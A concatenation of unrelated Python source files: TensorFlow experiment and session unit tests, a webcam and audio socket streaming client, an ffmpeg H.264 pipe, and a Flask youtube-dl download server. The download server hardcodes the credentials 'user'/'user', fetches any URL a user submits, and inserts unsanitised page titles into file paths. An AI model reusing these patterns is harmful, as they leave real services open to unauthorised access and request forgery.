self.eval_hooks = []
self._config = config or run_config.RunConfig()
self._model_dir = tempfile.mkdtemp()
@property
def model_dir(self):
return self._model_dir
@property
def config(self):
return self._config
def evaluate(self, **kwargs):
tf_logging.info('evaluate called with args: %s' % kwargs)
if 'hooks' in kwargs:
self.eval_hooks = kwargs['hooks']
self.eval_count += 1
if self.eval_count > self._max_evals:
tf_logging.info('Ran %d evals. Done.' % self.eval_count)
raise StopIteration()
return [(key, kwargs[key]) for key in sorted(kwargs.keys())]
def fake_checkpoint(self):
save_path = os.path.join(self.model_dir, 'model.ckpt')
with session.Session() as sess:
var = variables.Variable(1.0, name='var0')
save = saver.Saver({var.op.name: var})
var.initializer.run()
save.save(sess, save_path, global_step=0)
def fit(self, **kwargs):
self.fake_checkpoint()
tf_logging.info('fit called with args: %s' % kwargs)
self.fit_count += 1
if 'monitors' in kwargs:
self.monitors = kwargs['monitors']
return [(key, kwargs[key]) for key in sorted(kwargs.keys())]
def export_savedmodel(self, export_dir_base, serving_input_fn, **kwargs):
tf_logging.info('export_savedmodel called with args: %s, %s, %s' %
(export_dir_base, serving_input_fn, kwargs))
self.export_count += 1
return os.path.join(
compat.as_bytes(export_dir_base), compat.as_bytes('bogus_timestamp'))
class _NoopHook(session_run_hook.SessionRunHook):
pass
class ExperimentTest(test.TestCase):
def _cluster_spec(self):
return {
run_config_lib.TaskType.PS: ['host1:2222', 'host2:2222'],
run_config_lib.TaskType.WORKER:
['host3:2222', 'host4:2222', 'host5:2222']
}
def test_train(self):
est = TestEstimator()
ex = experiment.Experiment(
est,
train_input_fn='train_input',
train_steps='train_steps',
eval_input_fn='eval_input',
eval_metrics='eval_metrics')
fit_args = ex.train(delay_secs=0)
self.assertEqual(1, est.fit_count)
self.assertIn(('max_steps', 'train_steps'), fit_args)
self.assertEqual(0, est.eval_count)
def test_train_delay(self):
est = TestEstimator()
ex = experiment.Experiment(
est, train_input_fn='train_input', eval_input_fn='eval_input')
for delay in [0, 1, 3]:
with test.mock.patch('time.sleep', SheepCounter()) as sheep:
ex.train(delay_secs=delay)
self.assertAlmostEqual(delay, sheep.total_time, delta=0.1)
def test_train_default_delay(self):
for task_id in [0, 1, 3]:
tf_config = {'task': {'index': task_id}}
with test.mock.patch.dict('os.environ',
{'TF_CONFIG': json.dumps(tf_config)}):
config = run_config.RunConfig()
est = TestEstimator(config)
ex = experiment.Experiment(
est, train_input_fn='train_input', eval_input_fn='eval_input')
with test.mock.patch('time.sleep', SheepCounter()) as sheep:
ex.train()
self.assertAlmostEqual(task_id * 5, sheep.total_time, delta=0.1)
@test.mock.patch.object(server_lib, 'Server')
def test_train_starts_server(self, mock_server):
# Arrange.
tf_config = {
'cluster': self._cluster_spec(),
'environment': run_config_lib.Environment.CLOUD,
'task': {
'type': run_config_lib.TaskType.WORKER,
'index': 1
}
}
with test.mock.patch.dict('os.environ',
{'TF_CONFIG': json.dumps(tf_config)}):
config = run_config_lib.RunConfig(
master='host4:2222', num_cores=15, gpu_memory_fraction=0.314)
est = TestEstimator(config)
ex = experiment.Experiment(
est, train_input_fn='train_input', eval_input_fn='eval_input')
# Act.
# We want to make sure we discount the time it takes to start the server
# in our accounting of the delay, so we set a small delay here.
with test.mock.patch('time.sleep', SheepCounter()) as sheep:
ex.train(delay_secs=1)
# Ensure that the delay takes into account the time to start the server.
self.assertAlmostEqual(1, sheep.total_time, delta=0.1)
# Assert.
expected_config_proto = config_pb2.ConfigProto()
expected_config_proto.inter_op_parallelism_threads = 15
expected_config_proto.intra_op_parallelism_threads = 15
expected_config_proto.gpu_options.per_process_gpu_memory_fraction = 0.314
mock_server.assert_called_with(
config.cluster_spec,
job_name=run_config_lib.TaskType.WORKER,
task_index=1,
config=expected_config_proto,
start=False)
mock_server.assert_has_calls([test.mock.call().start()])
@test.mock.patch.object(server_lib, 'Server')
def test_train_server_does_not_start_without_cluster_spec(self, mock_server):
config = run_config_lib.RunConfig(master='host4:2222')
ex = experiment.Experiment(
TestEstimator(config),
train_input_fn='train_input',
eval_input_fn='eval_input')
ex.train()
# The server should not have started because there was no ClusterSpec.
self.assertFalse(mock_server.called)
@test.mock.patch.object(server_lib, 'Server')
def test_train_server_does_not_start_with_empty_master(self, mock_server):
tf_config = {'cluster': self._cluster_spec()}
with test.mock.patch.dict('os.environ',
{'TF_CONFIG': json.dumps(tf_config)}):
config = run_config_lib.RunConfig(master='')
ex = experiment.Experiment(
TestEstimator(config),
train_input_fn='train_input',
eval_input_fn='eval_input')
ex.train()
# The server should not have started because master was the empty string.
self.assertFalse(mock_server.called)
def test_train_raises_if_job_name_is_missing(self):
tf_config = {
'cluster': self._cluster_spec(),
'environment': run_config_lib.Environment.CLOUD,
'task': {
'index': 1
}
}
with test.mock.patch.dict(
'os.environ',
{'TF_CONFIG': json.dumps(tf_config)}), self.assertRaises(ValueError):
config = run_config_lib.RunConfig(
master='host3:2222' # Normally selected by task type.
)
ex = experiment.Experiment(
TestEstimator(config),
train_input_fn='train_input',
eval_input_fn='eval_input')
ex.train()
def test_evaluate(self):
est = TestEstimator()
est.fake_checkpoint()
noop_hook = _NoopHook()
ex = experiment.Experiment(
est,
train_input_fn='train_input',
eval_input_fn='eval_input',
eval_metrics='eval_metrics',
eval_hooks=[noop_hook],
eval_steps='steps',
eval_delay_secs=0)
ex.evaluate()
self.assertEqual(0, est.fit_count)
self.assertEqual(1, est.eval_count)
self.assertEqual([noop_hook], est.eval_hooks)
def test_evaluate_delay(self):
est = TestEstimator()
est.fake_checkpoint()
noop_hook = _NoopHook()
ex = experiment.Experiment(
est, train_input_fn='train_input', eval_input_fn='eval_input',
eval_hooks=[noop_hook])
for delay in [0, 1, 3]:
with test.mock.patch('time.sleep', SheepCounter()) as sheep:
ex.evaluate(delay_secs=delay)
self.assertAlmostEqual(delay, sheep.total_time, delta=0.1)
self.assertEqual([noop_hook], est.eval_hooks)
def test_continuous_eval(self):
est = TestEstimator()
est.fake_checkpoint()
noop_hook = _NoopHook()
ex = experiment.Experiment(
est,
train_input_fn='train_input',
eval_input_fn='eval_input',
eval_metrics='eval_metrics',
eval_hooks=[noop_hook],
eval_delay_secs=0,
continuous_eval_throttle_secs=0)
self.assertRaises(
StopIteration, ex.continuous_eval, evaluate_checkpoint_only_once=False)
self.assertEqual(0, est.fit_count)
self.assertEqual(6, est.eval_count)
self.assertEqual([noop_hook], est.eval_hooks)
def test_continuous_eval_throttle_delay(self):
for delay in [0, 1, 2]:
est = TestEstimator()
est.fake_checkpoint()
noop_hook = _NoopHook()
ex = experiment.Experiment(
est,
train_input_fn='train_input',
eval_input_fn='eval_input',
eval_metrics='eval_metrics',
eval_hooks=[noop_hook],
continuous_eval_throttle_secs=delay,
eval_delay_secs=0)
with test.mock.patch('time.sleep', SheepCounter()) as sheep:
self.assertRaises(
StopIteration,
ex.continuous_eval,
evaluate_checkpoint_only_once=False)
self.assertAlmostEqual(5 * delay, sheep.total_time, delta=0.15)
def test_continuous_eval_predicate_fn(self):
est = TestEstimator()
est.fake_checkpoint()
noop_hook = _NoopHook()
def _predicate_fn(unused_eval_result):
return est.eval_count < 3
ex = experiment.Experiment(
est,
train_input_fn='train_input',
eval_input_fn='eval_input',
eval_metrics='eval_metrics',
eval_hooks=[noop_hook],
eval_delay_secs=0,
continuous_eval_throttle_secs=0)
ex.continuous_eval(evaluate_checkpoint_only_once=False,
continuous_eval_predicate_fn=_predicate_fn)
self.assertEqual(0, est.fit_count)
self.assertEqual(3, est.eval_count)
self.assertEqual([noop_hook], est.eval_hooks)
def test_run_local(self):
est = TestEstimator()
noop_hook = _NoopHook()
ex = experiment.Experiment(
est,
train_input_fn='train_input',
eval_input_fn='eval_input',
eval_metrics='eval_metrics',
eval_hooks=[noop_hook],
train_steps=100,
eval_steps=100,
local_eval_frequency=10)
ex.local_run()
self.assertEqual(1, est.fit_count)
self.assertEqual(1, est.eval_count)
self.assertEqual(1, len(est.monitors))
self.assertEqual([noop_hook], est.eval_hooks)
self.assertTrue(isinstance(est.monitors[0], monitors.ValidationMonitor))
def test_train_hooks_extend_does_not_mutate_input_hooks(self):
noop_hook = _NoopHook()
input_hooks = [noop_hook]
ex = experiment.Experiment(
TestEstimator(),
train_input_fn='train_input',
eval_input_fn='eval_input',
eval_metrics='eval_metrics',
train_monitors=input_hooks)
self.assertAllEqual([noop_hook], ex._train_monitors)
another_noop_hook = _NoopHook()
# Assert that the extend API mutates the hooks, but not the input hooks
ex.extend_train_hooks([another_noop_hook])
self.assertAllEqual([noop_hook, another_noop_hook], ex._train_monitors)
self.assertAllEqual([noop_hook], input_hooks)
def test_export_strategies_reset(self):
est = TestEstimator()
export_strategy_1 = saved_model_export_utils.make_export_strategy(
est, 'export_input_1', exports_to_keep=None)
ex = experiment.Experiment(
est,
train_input_fn='train_input',
eval_input_fn='eval_input',
eval_metrics='eval_metrics',
train_steps=100,
eval_steps=100,
export_strategies=[export_strategy_1])
ex.train_and_evaluate()
self.assertEqual(1, est.export_count)
# After reset with empty list (None), the count does not change and the user
# provided export strategy list should remain intact.
old_es = ex.reset_export_strategies()
ex.train_and_evaluate()
self.assertAllEqual([export_strategy_1], old_es)
self.assertEqual(1, est.export_count)
# After reset with list, the count should increase with the number of items.
export_strategy_2 = saved_model_export_utils.make_export_strategy(
est, 'export_input_2', exports_to_keep=None)
export_strategy_3 = saved_model_export_utils.make_export_strategy(
est, 'export_input_3', exports_to_keep=None)
old_es = ex.reset_export_strategies([export_strategy_2, export_strategy_3])
ex.train_and_evaluate()
self.assertAllEqual([], old_es)
self.assertEqual(3, est.export_count)
def test_train_and_evaluate(self):
est = TestEstimator()
noop_hook = _NoopHook()
export_strategy = saved_model_export_utils.make_export_strategy(
est, 'export_input', exports_to_keep=None)
ex = experiment.Experiment(
est,
train_input_fn='train_input',
eval_input_fn='eval_input',
eval_metrics='eval_metrics',
eval_hooks=[noop_hook],
train_steps=100,
eval_steps=100,
export_strategies=export_strategy)
ex.train_and_evaluate()
self.assertEqual(1, est.fit_count)
self.assertEqual(1, est.eval_count)
self.assertEqual(1, est.export_count)
self.assertEqual(1, len(est.monitors))
self.assertEqual([noop_hook], est.eval_hooks)
self.assertTrue(isinstance(est.monitors[0], monitors.ValidationMonitor))
@test.mock.patch.object(server_lib, 'Server')
def test_run_std_server(self, mock_server):
# Arrange.
tf_config = {
'cluster': self._cluster_spec(),
'task': {
'type': run_config_lib.TaskType.PS,
'index': 1
}
}
with test.mock.patch.dict('os.environ',
{'TF_CONFIG': json.dumps(tf_config)}):
config = run_config_lib.RunConfig(
master='host2:2222',
num_cores=15,
gpu_memory_fraction=0.314,)
est = TestEstimator(config)
ex = experiment.Experiment(
est, train_input_fn='train_input', eval_input_fn='eval_input')
# Act.
ex.run_std_server()
# Assert.
mock_server.assert_has_calls(
[test.mock.call().start(), test.mock.call().join()])
@test.mock.patch.object(server_lib, 'Server')
def test_run_std_server_raises_without_cluster_spec(self, mock_server):
config = run_config_lib.RunConfig(master='host4:2222')
with self.assertRaises(ValueError):
ex = experiment.Experiment(
TestEstimator(config),
train_input_fn='train_input',
eval_input_fn='eval_input')
ex.run_std_server()
def test_test(self):
est = TestEstimator()
ex = experiment.Experiment(
est, train_input_fn='train_input', eval_input_fn='eval_input')
ex.test()
self.assertEqual(1, est.fit_count)
self.assertEqual(1, est.eval_count)
def test_continuous_eval_evaluates_checkpoint_once(self):
# Temporarily disabled until we figure out the threading story on Jenkins.
return
# pylint: disable=unreachable
# The TestEstimator will raise StopIteration the second time evaluate is
# called.
ex = experiment.Experiment(
TestEstimator(max_evals=1),
train_input_fn='train_input',
eval_input_fn='eval_input')
# This should not happen if the logic restricting evaluation of the same
# checkpoint works. We do need some checkpoint though, otherwise Experiment
# will never evaluate.
ex.estimator.fake_checkpoint()
# Start a separate thread with continuous eval
thread = threading.Thread(
target=lambda: ex.continuous_eval(delay_secs=0, throttle_delay_secs=0))
thread.start()
# The thread will die if it evaluates twice, and we should never evaluate
# twice since we don't write another checkpoint. Since we did not enable
# throttling, if it hasn't died after two seconds, we're good.
thread.join(2)
self.assertTrue(thread.is_alive())
# But we should have evaluated once.
count = ex.estimator.eval_count
self.assertEqual(1, count)
if __name__ == '__main__':
test.main()
|
clientMedia.py | import cv2
from socket import socket, AF_INET, SOCK_STREAM
from imutils.video import WebcamVideoStream
# import pyaudio
from array import array
from threading import Thread
import numpy as np
import zlib
import struct
HOST = input("Enter Server IP\n")
PORT_VIDEO = 3000
PORT_AUDIO = 4000
BufferSize = 4096
CHUNK=1024
lnF = 640*480*3
FORMAT=pyaudio.paInt16
CHANNELS=2
RATE=44100
def SendAudio():
while True:
data = stream.read(CHUNK)
dataChunk = array('h', data)
vol = max(dataChunk)
if(vol > 500):
print("Recording Sound...")
else:
print("Silence..")
clientAudioSocket.sendall(data)
def RecieveAudio():
while True:
data = recvallAudio(BufferSize)
stream.write(data)
def recvallAudio(size):
databytes = b''
while len(databytes) != size:
to_read = size - len(databytes)
if to_read > (4 * CHUNK):
databytes += clientAudioSocket.recv(4 * CHUNK)
else:
databytes += clientAudioSocket.recv(to_read)
return databytes
def SendFrame():
while True:
try:
frame = wvs.read()
cv2_im = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
frame = cv2.resize(frame, (640, 480))
frame = np.array(frame, dtype = np.uint8).reshape(1, lnF)
jpg_as_text = bytearray(frame)
databytes = zlib.compress(jpg_as_text, 9)
length = struct.pack('!I', len(databytes))
bytesToBeSend = b''
clientVideoSocket.sendall(length)
while len(databytes) > 0:
if (5000 * CHUNK) <= len(databytes):
bytesToBeSend = databytes[:(5000 * CHUNK)]
databytes = databytes[(5000 * CHUNK):]
clientVideoSocket.sendall(bytesToBeSend)
else:
bytesToBeSend = databytes
clientVideoSocket.sendall(bytesToBeSend)
databytes = b''
print("##### Data Sent!! #####")
except:
continue
def RecieveFrame():
while True:
try:
lengthbuf = recvallVideo(4)
length, = struct.unpack('!I', lengthbuf)
databytes = recvallVideo(length)
img = zlib.decompress(databytes)
if len(databytes) == length:
print("Recieving Media..")
print("Image Frame Size:- {}".format(len(img)))
img = np.array(list(img))
img = np.array(img, dtype = np.uint8).reshape(480, 640, 3)
cv2.imshow("Stream", img)
if cv2.waitKey(1) == 27:
cv2.destroyAllWindows()
else:
print("Data CORRUPTED")
except:
continue
def recvallVideo(size):
databytes = b''
while len(databytes) != size:
to_read = size - len(databytes)
if to_read > (5000 * CHUNK):
databytes += clientVideoSocket.recv(5000 * CHUNK)
else:
databytes += clientVideoSocket.recv(to_read)
return databytes
clientVideoSocket = socket(family=AF_INET, type=SOCK_STREAM)
clientVideoSocket.connect((HOST, PORT_VIDEO))
wvs = WebcamVideoStream(0).start()
clientAudioSocket = socket(family=AF_INET, type=SOCK_STREAM)
clientAudioSocket.connect((HOST, PORT_AUDIO))
audio=pyaudio.PyAudio()
stream=audio.open(format=FORMAT,channels=CHANNELS, rate=RATE, input=True, output = True,frames_per_buffer=CHUNK)
initiation = clientVideoSocket.recv(5).decode()
if initiation == "start":
SendFrameThread = Thread(target=SendFrame).start()
SendAudioThread = Thread(target=SendAudio).start()
RecieveFrameThread = Thread(target=RecieveFrame).start()
RecieveAudioThread = Thread(target=RecieveAudio).start()
|
h264_pipe.py | import ffmpeg
import logging
from threading import Thread
from . output import Output
log = logging.getLogger(__name__)
class H264Pipe(Output):
'''
Converts raw video to a h264 stream.
h264 data can be accessed by passing a callback to the config that access the data positional argument.
for example:
def my_callback(data):
print(f'My h264 bytestream data: {data}')
h264_pipe = H264Pipe(config={'callback': my_callback})
Args:
config (dict): Configuration dictionary. Accepted keywords:
callback (func): user passed in function that gives the user access to the h264 data.
Accepts the data positional argument.
block_size (int): amount of h264 bytes to read in the callback func.
fps: (int)
pixel_format (str): pixel format of the inputted raw video (eg: rgb24)
'''
def __init__(self, **kwargs):
defaults = {
'fps': 30,
'pixel_format': 'rgb24',
'callback': None,
'block_size': 16384,
}
Output.__init__(self, defaults=defaults, **kwargs)
self.decoder = None
def initialize_decoder(self):
self.decoder = (
ffmpeg
.input(
'pipe:',
format='rawvideo',
pix_fmt=self.config.get('pixel_format'),
s=f'{self.config.get("res")[0]}x{self.config.get("res")[1]}',
framerate='30',
)
.output('pipe:', format='h264', crf=20, preset='ultrafast')
.global_args('-loglevel', 'error', '-hide_banner')
.run_async(pipe_stdin=True, pipe_stdout=True)
)
read_thread = Thread(target=self.read_from_decoder)
read_thread.daemon = True
read_thread.start()
def read_from_decoder(self):
while 1:
if self.decoder is None:
break
data = self.decoder.stdout.read(self.config.get('block_size'))
self.config.get('callback')(data)
def write(self, data=None):
if self.decoder is None:
self.config['res'] = [data.shape[1], data.shape[0]] + list(data.shape[2:])
self.initialize_decoder()
self.decoder.stdin.write(data.tostring())
def close(self):
self.decoder = None
|
youtube-dl-server.py | from __future__ import unicode_literals
import json
import os
import subprocess
from queue import Queue
from flask import Flask, escape, request, send_from_directory, render_template
from flask_basicauth import BasicAuth
from threading import Thread
import youtube_dl
from pathlib import Path
from collections import ChainMap
app = Flask(__name__,template_folder='.')
app.config['BASIC_AUTH_USERNAME'] = 'user'
app.config['BASIC_AUTH_PASSWORD'] = 'user'
app.config['BASIC_AUTH_FORCE'] = True
basic_auth = BasicAuth(app)
mesg = dict()
emesg = []
app_defaults = {
'YDL_FORMAT': 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]',
'YDL_EXTRACT_AUDIO_FORMAT': None,
'YDL_EXTRACT_AUDIO_QUALITY': '192',
'YDL_RECODE_VIDEO_FORMAT': None,
'YDL_OUTPUT_TEMPLATE': '/youtube-dl/%(title)s [%(id)s].%(ext)s',
'YDL_ARCHIVE_FILE': None,
'YDL_SERVER_HOST': '0.0.0.0',
'YDL_SERVER_PORT': 8080,
}
@app.route('/youtube-dl')
def dl_queue_list():
return render_template('index.html')
@app.route('/youtube-dl/static/<path:path>')
def send_js(path):
return send_from_directory('static', path)
@app.route('/youtube-dl/q', methods=['GET'])
def q_size():
return {"success": True, "size": json.dumps(list(dl_q.queue))}
@app.route('/youtube-dl/q', methods=['POST'])
def q_put():
url = request.values["url"]
options = {
'format': request.values["format"]
}
if not url:
return {"success": False, "error": "/q called without a 'url' query param"}
dl_q.put((url, options))
print("Added url " + url + " to the download queue")
return {"success": True, "url": url, "options": options}
@app.route('/youtube-dl/status')
def status():
global mesg, emesg
return {"success": True, "status": 'None' if mesg == [] else mesg \
,"Error": 'None' if not(len(emesg)) else emesg}
@app.route('/youtube-dl/clear')
def statusclear():
global mesg, emesg
del mesg
del emesg
mesg = dict()
emesg = []
return {"success": True}
def dl_worker():
while not done:
url, options = dl_q.get()
download(url, options)
dl_q.task_done()
def get_ydl_options(request_options,url = None):
global app_defaults
request_vars = {
'YDL_EXTRACT_AUDIO_FORMAT': None,
'YDL_RECODE_VIDEO_FORMAT': None,
}
requested_format = request_options.get('format', 'bestvideo')
if requested_format in ['aac', 'flac', 'mp3', 'm4a', 'opus', 'vorbis', 'wav']:
request_vars['YDL_EXTRACT_AUDIO_FORMAT'] = requested_format
elif requested_format == 'bestaudio':
request_vars['YDL_EXTRACT_AUDIO_FORMAT'] = 'best'
elif requested_format in ['mp4', 'flv', 'webm', 'ogg', 'mkv', 'avi']:
request_vars['YDL_RECODE_VIDEO_FORMAT'] = requested_format
## for user can not obtian the title
if url != None:
import requests,re,copy
titleDATA = requests.get(url).text
regexFilter = re.compile('<title>(.*?)</title>', re.IGNORECASE|re.DOTALL)
title = regexFilter.search(titleDATA).group(1)[:32]
mod_app_defaults = copy.deepcopy(app_defaults)
mod_app_defaults['YDL_OUTPUT_TEMPLATE'] = mod_app_defaults['YDL_OUTPUT_TEMPLATE'].replace("%(title)s",title)
print(mod_app_defaults['YDL_OUTPUT_TEMPLATE'])
ydl_vars = ChainMap(request_vars, os.environ, mod_app_defaults)
else:
ydl_vars = ChainMap(request_vars, os.environ, app_defaults)
postprocessors = []
if(ydl_vars['YDL_EXTRACT_AUDIO_FORMAT']):
postprocessors.append({
'key': 'FFmpegExtractAudio',
'preferredcodec': ydl_vars['YDL_EXTRACT_AUDIO_FORMAT'],
'preferredquality': ydl_vars['YDL_EXTRACT_AUDIO_QUALITY'],
})
if(ydl_vars['YDL_RECODE_VIDEO_FORMAT']):
postprocessors.append({
'key': 'FFmpegVideoConvertor',
'preferedformat': ydl_vars['YDL_RECODE_VIDEO_FORMAT'],
})
return {
'format': ydl_vars['YDL_FORMAT'],
'postprocessors': postprocessors,
'outtmpl': ydl_vars['YDL_OUTPUT_TEMPLATE'],
'download_archive': ydl_vars['YDL_ARCHIVE_FILE']
}
def download(url, request_options):
global mesg,emesg
with youtube_dl.YoutubeDL(get_ydl_options(request_options)) as ydl:
try:
mesg[url]=('Downloading')
ydl.download([url])
mesg[url]=('Done')
except:
mesg.pop(url,None)
emesg.append(url)
dl_q = Queue()
done = False
dl_thread = Thread(target=dl_worker)
dl_thread.start()
print("Started download thread")
app_vars = ChainMap(os.environ, app_defaults)
#app.config["DEBUG"] = True
app.run(host=app_vars['YDL_SERVER_HOST'], port=app_vars['YDL_SERVER_PORT'])
done = True
dl_thread.join()
|
session_test.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for tensorflow.python.client.session.Session."""
import collections
import os
import random
import sys
import threading
import time
import warnings
import numpy as np
import six
from six.moves import xrange # pylint: disable=redefined-builtin
from tensorflow.core.framework import attr_value_pb2
from tensorflow.core.lib.core import error_codes_pb2
from tensorflow.core.protobuf import config_pb2
from tensorflow.python.client import session
from tensorflow.python.eager import context
from tensorflow.python.eager import def_function
from tensorflow.python.framework import config
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import device as framework_device_lib
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import errors
from tensorflow.python.framework import function
from tensorflow.python.framework import importer
from tensorflow.python.framework import ops
from tensorflow.python.framework import sparse_tensor
from tensorflow.python.framework import tensor_util
from tensorflow.python.framework import test_util
from tensorflow.python.framework import versions
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import data_flow_ops
from tensorflow.python.ops import gen_control_flow_ops
# Import gradients to resolve circular imports
from tensorflow.python.ops import gradients # pylint: disable=unused-import
from tensorflow.python.ops import gradients_impl
from tensorflow.python.ops import math_ops
# Import resource_variable_ops for the variables-to-tensor implicit conversion.
from tensorflow.python.ops import resource_variable_ops # pylint: disable=unused-import
from tensorflow.python.ops import state_ops
from tensorflow.python.ops import variables
from tensorflow.python.platform import googletest
from tensorflow.python.training import server_lib
from tensorflow.python.util import compat
try:
import attr # pylint:disable=g-import-not-at-top
except ImportError:
attr = None
try:
from frozendict import frozendict # pylint:disable=g-import-not-at-top
except ImportError:
frozendict = dict # pylint:disable=invalid-name
defaultdict = collections.defaultdict # pylint:disable=invalid-name
@test_util.with_eager_op_as_function
class SessionTest(test_util.TensorFlowTestCase):
def setUp(self):
super(SessionTest, self).setUp()
warnings.simplefilter('always')
def testUseExistingGraph(self):
with ops.Graph().as_default() as g, ops.device('/cpu:0'):
a = constant_op.constant(6.0, shape=[1, 1])
b = constant_op.constant(7.0, shape=[1, 1])
c = math_ops.matmul(a, b, name='matmul')
with session.Session(graph=g):
result = c.eval()
self.assertAllEqual(result, [[42.0]])
def testUseDefaultGraph(self):
with ops.Graph().as_default(), ops.device('/cpu:0'):
a = constant_op.constant(6.0, shape=[1, 1])
b = constant_op.constant(7.0, shape=[1, 1])
c = math_ops.matmul(a, b, name='matmul')
with session.Session():
result = c.eval()
self.assertAllEqual(result, [[42.0]])
def testCreate(self):
with session.Session():
inp = constant_op.constant(10.0, shape=[2, 3], name='W1')
copy = array_ops.identity(inp)
# Test with feed.
# TODO(mrry): Investigate why order='F' didn't work.
arr = np.asarray([[0, 1, 2], [3, 4, 5]], dtype=np.float32, order='C')
copy_val = copy.eval({'W1:0': arr})
self.assertAllEqual(arr, copy_val)
# Test without feed.
copy_val = copy.eval()
self.assertAllEqual(
np.asarray(
[[10.0, 10.0, 10.0], [10.0, 10.0, 10.0]], dtype=np.float32),
copy_val)
def testManyCPUs(self):
with session.Session(
config=config_pb2.ConfigProto(device_count={
'CPU': 2, 'GPU': 0
})) as sess:
inp = constant_op.constant(10.0, name='W1')
self.assertAllEqual(inp, 10.0)
num_cpu_devices = 0
num_gpu_devices = 0
for device in sess.list_devices():
device_type = framework_device_lib.DeviceSpec.from_string(
device.name).device_type
if device_type == 'CPU':
num_cpu_devices += 1
elif device_type == 'GPU':
num_gpu_devices += 1
self.assertEqual(2, num_cpu_devices)
self.assertEqual(0, num_gpu_devices)
def testPerSessionThreads(self):
with session.Session(
config=config_pb2.ConfigProto(use_per_session_threads=True)):
inp = constant_op.constant(10.0, name='W1')
self.assertAllEqual(inp, 10.0)
def testSessionInterOpThreadPool(self):
config_pb = config_pb2.ConfigProto()
pool = config_pb.session_inter_op_thread_pool.add()
with session.Session(config=config_pb) as s:
inp = constant_op.constant(10.0, name='W1')
results = s.run([inp])
self.assertAllEqual([10.0], results)
pool = config_pb.session_inter_op_thread_pool.add()
pool.num_threads = 1
with session.Session(config=config_pb) as s:
inp = constant_op.constant(20.0, name='W2')
results = s.run([inp])
self.assertAllEqual([20.0], results)
pool = config_pb.session_inter_op_thread_pool.add()
pool.num_threads = 1
pool.global_name = 't1'
run_options = config_pb2.RunOptions()
run_options.inter_op_thread_pool = (
len(config_pb.session_inter_op_thread_pool) - 1)
with session.Session(config=config_pb) as s:
inp = constant_op.constant(30.0, name='W2')
results = s.run([inp], options=run_options)
self.assertAllEqual([30.0], results)
def testErrorsReported(self):
with session.Session() as s:
constant_op.constant(10.0, name='W1')
with self.assertRaises(ValueError):
s.run('foo:0')
def testErrorPayload(self):
with session.Session():
a = array_ops.placeholder(dtypes.float32)
with self.assertRaisesOpError(lambda e: e.op == a.op):
a.eval()
def testErrorCodeWithNoNodeDef(self):
with session.Session() as s:
a = array_ops.placeholder(dtypes.float32, shape=[])
b = array_ops.placeholder(dtypes.float32, shape=[])
r1 = math_ops.add(a, b)
def exc_predicate(e):
return (e.op is None and e.node_def is None and
e.error_code == error_codes_pb2.INVALID_ARGUMENT)
with self.assertRaisesOpError(exc_predicate):
# Run with a bogus handle.
s.partial_run('foo', r1, feed_dict={a: 1, b: 2})
def testErrorBasedOn(self):
with session.Session() as sess:
a = constant_op.constant(0.0, shape=[2, 3])
# NOTE(mrry): The original_op is nonsense, but used here to test that the
# errors are reported correctly.
with sess.graph._original_op(a.op):
b = array_ops.identity(a, name='id')
with sess.graph._original_op(b.op):
c = array_ops.placeholder(dtypes.float32)
def exc_predicate(e):
return (e.op == c.op and e.op._original_op == b.op and
e.op._original_op._original_op == a.op)
with self.assertRaisesOpError(exc_predicate):
c.eval()
def testFetchNone(self):
with session.Session() as s:
a = constant_op.constant(1.0)
with self.assertRaises(TypeError):
s.run(None)
with self.assertRaises(TypeError):
s.run([None])
with self.assertRaises(TypeError):
s.run({'b': None})
with self.assertRaises(TypeError):
s.run({'a': a, 'b': None})
def testFetchSingleton(self):
with session.Session() as sess:
a = constant_op.constant(42.0)
res = sess.run(a)
self.assertEqual(42.0, res)
res = sess.run(a.op) # An op, not a tensor.
self.assertIsNone(res)
tensor_runner = sess.make_callable(a)
res = tensor_runner()
self.assertEqual(42.0, res)
op_runner = sess.make_callable(a.op)
res = op_runner()
self.assertIsNone(res)
def testFetchSingletonByName(self):
with session.Session() as sess:
a = constant_op.constant(42.0)
res = sess.run(a.name)
self.assertEqual(42.0, res)
res = sess.run(a.op) # An op, not a tensor.
self.assertIsNone(res)
def testFetchList(self):
with session.Session() as sess:
a = constant_op.constant(42.0)
b = control_flow_ops.no_op() # An op, not a tensor.
c = constant_op.constant(44.0)
v = variables.Variable([54.0])
assign = v.assign([63.0])
res = sess.run([a, b, c, a.name, assign.op])
self.assertIsInstance(res, list)
self.assertEqual([42.0, None, 44.0, 42.0, None], res)
list_runner = sess.make_callable([a, b, c, a.name, assign.op])
res = list_runner()
self.assertIsInstance(res, list)
self.assertEqual([42.0, None, 44.0, 42.0, None], res)
def testFetchTuple(self):
with session.Session() as sess:
a = constant_op.constant(42.0)
b = control_flow_ops.no_op() # An op, not a tensor.
c = constant_op.constant(44.0)
res = sess.run((a, b, c, a.name))
self.assertIsInstance(res, tuple)
self.assertEqual((42.0, None, 44.0, 42.0), res)
tuple_runner = sess.make_callable((a, b, c, a.name))
res = tuple_runner()
self.assertIsInstance(res, tuple)
self.assertEqual((42.0, None, 44.0, 42.0), res)
def testFetchNamedTuple(self):
# pylint: disable=invalid-name
ABC = collections.namedtuple('ABC', ['a', 'b', 'c'])
# pylint: enable=invalid-name
with session.Session() as sess:
a = constant_op.constant(42.0)
b = control_flow_ops.no_op() # An op, not a tensor.
c = constant_op.constant(44.0)
res = sess.run(ABC(a, b, c))
self.assertIsInstance(res, ABC)
self.assertEqual(42.0, res.a)
self.assertIsNone(res.b)
self.assertEqual(44.0, res.c)
namedtuple_runner = sess.make_callable(ABC(a, b, c))
res = namedtuple_runner()
self.assertIsInstance(res, ABC)
self.assertEqual(42.0, res.a)
self.assertIsNone(res.b)
self.assertEqual(44.0, res.c)
def testFetchDict(self):
with session.Session() as sess:
a = constant_op.constant(42.0)
b = control_flow_ops.no_op() # An op, not a tensor.
c = constant_op.constant(44.0)
